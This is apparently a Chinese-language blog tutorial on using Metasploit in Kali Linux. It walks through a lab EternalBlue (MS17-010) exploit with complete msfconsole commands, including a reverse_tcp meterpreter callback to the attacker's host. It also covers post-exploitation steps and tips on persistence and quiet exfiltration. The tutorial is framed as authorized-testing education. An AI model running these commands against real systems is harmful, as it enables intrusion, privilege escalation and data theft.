今天要來聊聊一個...嗯...很酷但又有點敏感的東西:Metasploit。每次看電影,駭客在那邊光速敲鍵盤,幾秒鐘就黑進什麼國防部系統,畫面超帥對吧?😎
老實說,現實世界當然沒那麼誇張啦,大部分時間其實蠻枯燥的,都在做資訊搜集跟測試。但...電影裡那個「找到漏洞、利用漏洞、取得控制權」的核心概念,是真的!而 Metasploit Framework,就是把這個過程工具化、模組化的一大神器。我自己是覺得,它就像是資安界的瑞士刀,雖然不是萬能,但沒它真的不行。
這篇就來帶大家跑一次,特別是在 Kali Linux 這個環境下,怎麼用 Metasploit 做一次最最最基礎的滲透測試。不過,這邊要特別提醒:這整篇文章都只是為了教學和研究!千萬、千萬不要對任何你沒有「明確書面授權」的系統進行測試。隨便亂試不只是不道德,而且是犯法的喔!
所以 Metasploit 到底是什麼鬼?
簡單講,你可以把它想像成一個超巨大的「漏洞利用程式碼」資料庫跟執行平台。這東西是 Rapid7 這家公司在維護的,而且是開源的。它把駭客攻擊的流程系統化了。
我自己是把它拆成幾個階段來看:
- 偵查(Reconnaissance):先摸清楚目標的底細。它是什麼作業系統?開了哪些網路服務(ports)?上面跑了什麼軟體?版本號多少?
- 掃描(Scanning):拿著偵查到的資訊,去比對一下已知的漏洞資料庫,看看有沒有對得上的弱點。
- 利用(Exploitation):確認有漏洞後,就從 Metasploit 的軍火庫裡拿出對應的「Exploit」(攻擊程式),往目標的痛點打下去。
- 投送(Payload Delivery):打進去之後呢?你總得做點事吧。這時候就要「投送」一個 Payload(有效負載)。最常見的就是開一個後門,讓你可以遠端控制它。
- 後滲透(Post-Exploitation):成功進到系統後,才是真正好戲的開始。像是提升自己的權限(從普通使用者變管理員)、在系統裡潛伏、把這台當跳板去攻擊內部網路的其他電腦等等。
然後啊,為什麼大家講到 Metasploit 都會順便提到 Kali Linux?因為 Kali 這套專為滲透測試設計的 Linux 發行版,已經把 Metasploit 還有幾百個相關工具都幫你裝好、設定好了。對新手來說,省去超多環境設定的麻煩,打開就能用,真的是很方便。
怎麼做:第一次啟動 Metasploit
好,理論講得差不多了,來點實際的。假設你已經裝好 Kali Linux 了(用 VM 虛擬機跑就可以了)。
第一步:先讓系統保持最新狀態
這幾乎是所有 Linux 教學的起手式,但真的很重要。打開你的終端機(Terminal),輸入下面這兩行。主要是更新軟體清單,然後把所有已安裝的軟體都升級到最新版。
sudo apt update && sudo apt upgrade -y
第二步:初始化 Metasploit 資料庫
Metasploit 會用一個資料庫來存你掃描到的主機、漏洞、憑證等等資訊,非常方便管理。第一次用要先初始化它。
sudo msfdb init
我自己是覺得,這一步對新手來說偶爾會卡關。如果看到什麼 PostgreSQL 相關的錯誤訊息,別慌,九成是資料庫服務沒跑起來。可以先試著手動啟動它 `sudo systemctl start postgresql`,然後再試一次 `msfdb init`,通常就解決了。
第三步:啟動!
終於!輸入 `msfconsole` 就可以啟動 Metasploit 主控台了。
msfconsole
你會看到一個很帥的 ASCII art 歡迎畫面,然後是一個 `msf6 >` (版本號可能會變) 的提示符。這,就是你的指揮中心了。
實戰演練:用 MS17-010 漏洞來當教材
說到 Metasploit 教學,大概有八成的文章都會拿 MS17-010 "EternalBlue"(永恆之藍)當範例。為啥?因為它效果顯著、成功率高、而且影響深遠(當年的 WannaCry 勒索病毒就是用它)。
不過呢,這邊要特別講一下,這漏洞已經超——級老了。現在你幾乎不可能在真實世界的網路上找到一台沒修補這個漏洞的機器。所以,我們只是拿它來學習「流程」跟「思維」,不要以為現實世界的滲透測試都這麼簡單啊!
OK,演練開始。你需要一台靶機,可以去網路上找一個叫做「Metasploitable2」的虛擬機,那是官方故意做出來給你練習的。或者,自己弄一台沒更新的 Windows 7 虛擬機也行。再次強調,絕對不能拿別人的電腦來試!
假設,你的靶機 IP 是 `192.168.1.105`,而你的 Kali 攻擊機 IP 是 `192.168.1.100`。
1. 偵查:確認目標是否真的有病
知己知彼,百戰不殆。你不能直接衝過去就開火,要先確認對方是不是真的有這個弱點。在 Metasploit 裡,我們可以用 `search` 指令找找看有沒有 MS17-010 相關的模組。
msf6 > search ms17-010
你會看到一堆東西,有 exploit 也有 auxiliary。通常 auxiliary 裡面的 scanner 模組就是用來掃描的。我們就用它:
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.105
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
`RHOSTS` 就是 Remote Hosts,目標主機的意思。如果掃描結果顯示 `The target is vulnerable`,那就恭喜,可以準備下一步了。
2. 利用:選好武器,設定目標
確認目標有漏洞後,就來選真正的攻擊模組。一樣用 `search` 找到的 exploit。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.105
3. 投送:決定進去之後要做什麼
OK,我覺得這一步才是精髓。Exploit 只是那把鑰匙,Payload 才是你進門後要做的事。我們要選一個 Payload。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
這串指令 `windows/x64/meterpreter/reverse_tcp` 看起來很長,但拆開看就懂了:
- `windows/x64`:目標是 64 位元的 Windows。
- `meterpreter`:這是 Metasploit 的王牌 Payload。它是一個超強的遠端控制工具,功能遠比傳統的文字介面後門多太多了,我們等等會看到。
- `reverse_tcp`:這是連線方式。什麼意思呢?你想想,如果你的攻擊是「從外面連進去」(bind shell),很容易被目標的防火牆擋掉。但如果是讓受害的靶機「從裡面主動連回來」給你,防火牆通常比較不會攔截。這就是為什麼 `reverse_tcp` 在實戰中是首選,穿透力比較強。
既然要讓它連回來,你就要告訴它你家在哪。`LHOST` 就是 Local Host,你自己的 Kali IP;`LPORT` 就是你要在哪個埠口監聽。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
隨時可以用 `show options` 檢查一下所有參數都設定對了沒。
4. 開火!
萬事俱備,只欠東風。深呼吸,然後輸入...
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
如果一切順利,你會看到螢幕上一堆訊息跑出來,最後...噹啷!提示符變成 `meterpreter >`。這就是那個「Bingo!」的瞬間。恭喜,你已經在靶機裡面了。
進去之後呢?Meterpreter 後滲透初體驗
拿到 `meterpreter >` 之後,很多新手就...愣住了。然後呢?
Meterpreter 是一個極其強大的後滲透工具。你可以把它想成你已經化身為一個超級間諜,潛入了敵方大本營。你可以做很多事,例如:
- `sysinfo`:先看看周遭環境。這台電腦是誰的?作業系統版本?
- `getuid`:確認你現在的身份。是無足輕重的小兵(`user`)還是大將軍(`NT AUTHORITY\SYSTEM`)?
- `ps`:偷看一下現在有哪些人在活動(正在運行的行程)。有沒有防毒軟體在巡邏?
- `ls` / `pwd`:像在自己電腦一樣,翻翻看有什麼檔案。
- `download` / `upload`:把感興趣的檔案下載回來,或上傳你自己的工具。
- `shell`:如果 Meterpreter 的指令不夠用,直接 `shell` 就可以拿到一個最原生的 Windows `cmd.exe` 命令提示字元。
- `getsystem`:這是大絕招。試著把自己從普通使用者權限,直接提升到系統最高權限。但...這招不是每次都靈光喔。
重點在於「目的性」。你進來是為了找一個特定的檔案?還是為了把這台當跳板?或是單純想證明你可以進來(像 CTF 搶旗賽)?思考下一步要做什麼,比單純拿到 shell 更重要。
新手思維 vs. 老手思維
說到這個,我覺得可以整理一下新手和比較有經驗的人在用 Metasploit 時的一些思路差異。這還蠻有趣的。
| 環節 | 新手可能會這樣想 🤔 | 老手可能會這樣想 😎 |
|---|---|---|
| 漏洞利用 | 找到一個能用的 exploit 就衝了! | 會把所有服務都掃一遍,找出好幾個漏洞,然後選一個最穩定、最不容易被發現的來用。 |
| 拿到 Shell 後 | 太棒了!馬上 `getsystem` 看看能不能變管理員! | 不急。先用 `getuid` 看看自己是誰,用 `ps` 找個穩定的系統進程(像 `spoolsv.exe`),然後用 `migrate` 把自己藏進去。避免原始漏洞程式崩潰就斷線了。 |
| 資料竊取 | 看到機密文件!馬上 `download` 下載! | 先不急著拿東西。第一步是建立「持續性」(Persistence),想辦法留個後門,確保下次還能回來。然後才慢慢地、低調地把資料傳出去。 |
| 攻擊失敗 | 奇怪,怎麼沒成功?換個 exploit 再試一次! | 失敗了?是不是 LHOST 設錯了?還是靶機有防毒軟體?或是目標架構不對(x86 vs x64)?先看錯誤訊息,回頭檢查設定。 |
常見錯誤與修正
如果你完全照著網路上的教學打,但 `exploit` 指令就是沒成功,先別砸電腦。九成是下面幾個原因:
- 靶機根本沒漏洞:EternalBlue 是 2017 年的漏洞了。你拿一台有在自動更新的 Windows 10/11 來試,當然不可能成功。這就是為什麼要用特定的靶機來練習。
- Payload 架構錯誤:目標是 32-bit (x86) 的 Windows,但你選了 `windows/x64/...` 的 payload。反之亦然。
- 防火牆或防毒軟體:現在的防毒軟體很多都能偵測到 Metasploit 的預設 payload 了。連線被擋掉,或是 payload 一落地就被殺掉,都是很正常的。
- 網路設定問題:最常見的就是 `LHOST` 設成 `127.0.0.1`... 這樣靶機是要連回它自己,當然連不到你的 Kali 啊!😅 一定要設成你 Kali 在「當前網路環境下」的 IP。
更重要的是,要建立一個心態:EternalBlue 只是個經典教材。真實世界裡,你更可能遇到的攻擊情境是完全不一樣的。例如,一個網站的上傳功能沒寫好,被駭客上傳了一個 Web Shell;或者某個雲端儲存桶(Cloud Bucket)權限設定錯誤,導致機密資料外洩。就像台灣資安圈在 HITCON 這類研討會上分享的案例,很多時候攻擊的起點都是從 Web 應用程式、API 或是雲端設定失誤下手的,比這種直接打穿作業系統的漏洞要常見得多。
想學得更深,可以去看看 OffSec 官方提供的免費教材「Metasploit Unleashed」,內容非常完整,算是業界公認的聖經了。
所以,結論是?
Metasploit on Kali Linux 真的是一個強大到不行的組合。學會它,能讓你深刻理解駭客的攻擊思路,進而知道該如何去防禦。我一直覺得,最好的防守,就是了解攻擊是怎麼發生的。
但最後還是要再囉嗦一次,這工具就像一把上了膛的槍。你可以拿來保護家園(做授權的滲透測試、找出自家系統漏洞並修補),也絕對有人會拿它來作惡。希望大家在學習的路上,都能把持住自己,永遠走在對的、合法的、有道德的那一邊。
聊了這麼多,換你啦!如果你成功拿到了第一個 Meterpreter shell,你會下的第一個指令是什麼?為什麼?在下面留言分享你的想法吧!
